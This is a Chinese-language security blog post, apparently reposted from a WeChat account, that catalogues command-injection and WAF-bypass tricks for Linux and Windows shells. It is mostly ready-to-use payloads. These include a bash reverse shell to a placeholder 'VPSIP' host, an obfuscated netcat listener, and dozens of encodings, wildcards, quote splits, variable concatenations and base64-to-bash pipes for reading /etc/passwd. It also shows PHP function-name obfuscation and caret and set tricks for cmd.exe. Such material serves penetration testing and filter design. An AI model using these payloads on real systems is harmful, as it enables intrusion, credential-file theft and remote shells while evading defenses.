命令执行绕过

admin 2022年4月26日06:46:14评论219 views字数 3619阅读12分3秒阅读模式


一、命令执行绕过

0x01 使用文件绕过(只能在Linux下)

(1):简单命令执行
         使用 > 来执行命令时,每次都会新生成一个 > 后面的文件,将之前生成的文件替换掉(文件创建时间也会跟着改变)
         而这个*号会执行这个目录下的第一个文件的文件名,也就是说会把这个文件的文件名当作命令去执行。但是这个被执行的文件名必须是位于第一位。也就是我们可以创建一个目录(有时可能无法创建目录,就可以切换到/tmp目录下),然后去执行相对应的命令,但是这种在实战中可能会有一些困难。

命令执行绕过

(2):复杂命令执行

创建文件

>touch* 1.txt

命令执行绕过

(3):反弹shell

>bash*  -i >& /dev/tcp/VPSIP/1234 0>&1

命令执行绕过

命令执行绕过

命令执行绕过

0x02 使用通配符绕过

cat /et?/p?*sswd

命令执行绕过

cat /e?c/p?*wd

命令执行绕过

cat /e*/p*d

命令执行绕过

/???/[n]?[t]??[t] -lvp 4444

命令执行绕过

         上面这种方式只能去匹配文件名,这种情况适用于可以执行一些命令,如可以执行cat这种命令,但是却不能查看如/etc/passwd这种敏感文件,就可以使用上述方法进行绕过。但是却不能使用通配符来匹配命令,这样会提示未找到命令。

命令执行绕过

0x03 使用&进行命令拼接

ls & cat /etc/passwd

命令执行绕过

        这种方式适用于可以执行简单的命令,但是不能查看敏感文件,可以使用&、&&、|、||这几种方式来进行命令拼接,其实就是DVWA的命令注入。

0x04 使用注释符#进行绕过

cat /etc/passwd #anything

命令执行绕过

         这种绕过方式可能可以欺骗WAF,有些WAF会识别到cat /etc/passwd这个文件并进行拦截,但是如果是cat /etc/passwd #anything的话,这样就不会被拦截,可能就可以绕过防火墙。

0x05 使用URL编码绕过

cat%20%2Fetc%2Fpasswd

这种是在web端进行命令执行绕过最常用的方法。

0x06 使用$IFS空字符绕过

cat$IFS/etc/passwdcat$IFS$1/etc/passwdcat${IFS}/etc/passwdcat$IFS$9/etc/passwd

命令执行绕过

命令执行绕过

0x07 字符拼接

cat /"e"tc/'p'a's'swd

命令执行绕过

cat /'e't'c'/p'as'swd

命令执行绕过

cat /et''c/pass``wd

命令执行绕过

这样可以绕过一些WAF的拦截,但是注意一点是,单引号和双引号一定要是双数,否则会出问题。

命令执行绕过

0x08 转义拼接 

cat /etc/passwd

命令执行绕过

通过转义可以进行命令执行。

0x09 命令拼接

a=ca;b=t;$a$b /etc/passwd

命令执行绕过

a=c;b=a;c=t;$a$b$c /etc/passwd

命令执行绕过

a=cat;$a /etc/passwd

命令执行绕过

0x10 填充垃圾字符绕过

cat /etc/passwd xxx

命令执行绕过

命令执行绕过

666`whoami`666666`whoami`666

命令执行绕过

w`f1hgb`ho`f1hgb`am`f1hgb`i                    //反引号的作用是把括起来的字符当做命令执行w`f1hgb`ho`f1hgb`am`f1hgb`i          //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行wh$(f1hgb)oa$(f1hgb)mi                              //和上面的差不多,都说执行和拼接

命令执行绕过

         这种在执行了正常的命令之后,然后再填写其他的命令也可以进行绕过,这种绕过机制是有些WAF会匹配这些敏感命令,如pwd等,但是可能有些WAF会将所有的内容取出来在进行匹配,这样就可以使用一些垃圾字符进行填充来模糊WAF的匹配,可能会绕过WAF。

0x11 分号(;)

多条语句顺序执行时的分割符号。

cmd1;cmd2

命令执行绕过

0x12 管道符(|)

cmd1命令的输出,作为下一条命令cmd2的参数。

cmd1 | cmd2

命令执行绕过

0x13 and(&&)

与命令,cmd1成功则执行cmd2,cmd1失败则不执行cmd2

cmd1 && cmd2

命令执行绕过

0x14 or(||)

或命令,cmd1失败则执行cmd2,cmd1成功则不执行cmd2

cmd1 || cmd2

命令执行绕过

0x15 反引号``和$()

  反引号和$()都可用来表示命令,被这两种方式包含的字符串都会被当做命令首先执行。

echo "result : `whoami`"echo "result : $(whoami)"

命令执行绕过

0x20 重定向绕过

cat<>1.txtcat<1.txt

命令执行绕过

0x21 %09(需要php环境)

php环境下web输入%09等效于空格

cat%091.txt

0x22 base64编码

将想要执行的命令进行base64编码,然后添加到下面的双引号里面。

echo "cHdk" | base64 -d | bash

命令执行绕过

0x23 单引号和双引号

c""at 1.tx''t

命令执行绕过

0x24 反斜杠绕过

cat 1.txt

命令执行绕过

0x25 $1、$@、$*绕过

c$1a$1t 1.t$1$1x$1tc$@a$@t 1.t$@x$@tc$*a$*t 1.t$*x$*t

命令执行绕过

0x26 长度绕过

使用>>绕过长度限制,使用>>每次添加一部分命令到文件中。

echo -n "cat " > r;echo -n "/etc" >> r;echo "/passwd" >> r;cat r | bash

命令执行绕过

使用这种方式也可以执行一些命令。

cat 1.txt

命令执行绕过

0x27 逗号(,)绕过

{cat,/etc/passwd}

用逗号实现了空格的作用,但是需要使用{}括起来。

命令执行绕过

0x28 x20绕过

COMMAND=$'x20-al';ls$COMMAND

命令执行绕过

COMMAND=$'x20';ifconfig$COMMANDCOMMAND=$'x20';whoami$COMMANDCOMMAND=$'x20';id$COMMANDCOMMAND=$'x20';pwd$COMMAND

命令执行绕过

0x29 环境变量绕过

打印出环境变量,然后截取其中的字符,通过字符拼接执行命令。

echo ${PATH}echo ${PATH:5:1}echo ${PATH:2:1}${PATH:5:1}${PATH:2:1}

命令执行绕过

二、文件名绕过

0x01 拼接文件名绕过

cat fl[abc]g.txt                                                                                     //匹配[abc]中的任何一个cat f[a-z]ag.txt                                                                                     //匹配a-z范围的任何字符cat fla*                                                                                                         //用*匹配任意a=f;b=l;c=ag;d=.txt;cat $a$b$c$d 表示cat flag.txt                    //内联执行

命令执行绕过

0x02 使用正则进行匹配

查看/etc/passwd文件

cat /???/??????cat /???/pass*cat /etc$u/passwd

命令执行绕过

命令执行绕过

0x03 系统命令执行

system("cat /etc/passwd")<=>"x73x79x73x74x65x6d"("cat /etc/passwd");<=>(sy.(st).em)("cat /etc/passwd");<=>还可以用注释方法绕过"system/*fthgb666*/("cat /etc/passwd);"<=>"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"<=>"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"

三、windows命令绕过

0x01 type绕过命令执行(windows)

type.flag.txttype,flag.txt

命令执行绕过

0x02 使用特殊符号进行绕过

whoamiwho^am^iwho""ami"i"who""""ami

命令执行绕过

0x03 set命令绕过

set a=whoset b=ami%a%%b%        //正常执行whoamicall %a%%b%   //正常执行whoami

命令执行绕过

set a=whoami%a:~0% //取出所有字符,所以正常执行命令%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行%a:~0,5% //切割后是whoam,不是系统命令,不能执行

命令执行绕过

0x04 使用ping绕过执行命令

cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/whoami"

命令执行绕过

命令执行绕过

原文始发于微信公众号(想走安全的小白):命令执行绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月26日06:46:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   命令执行绕过https://cn-sec.com/archives/886062.html

发表评论

匿名网友 填写信息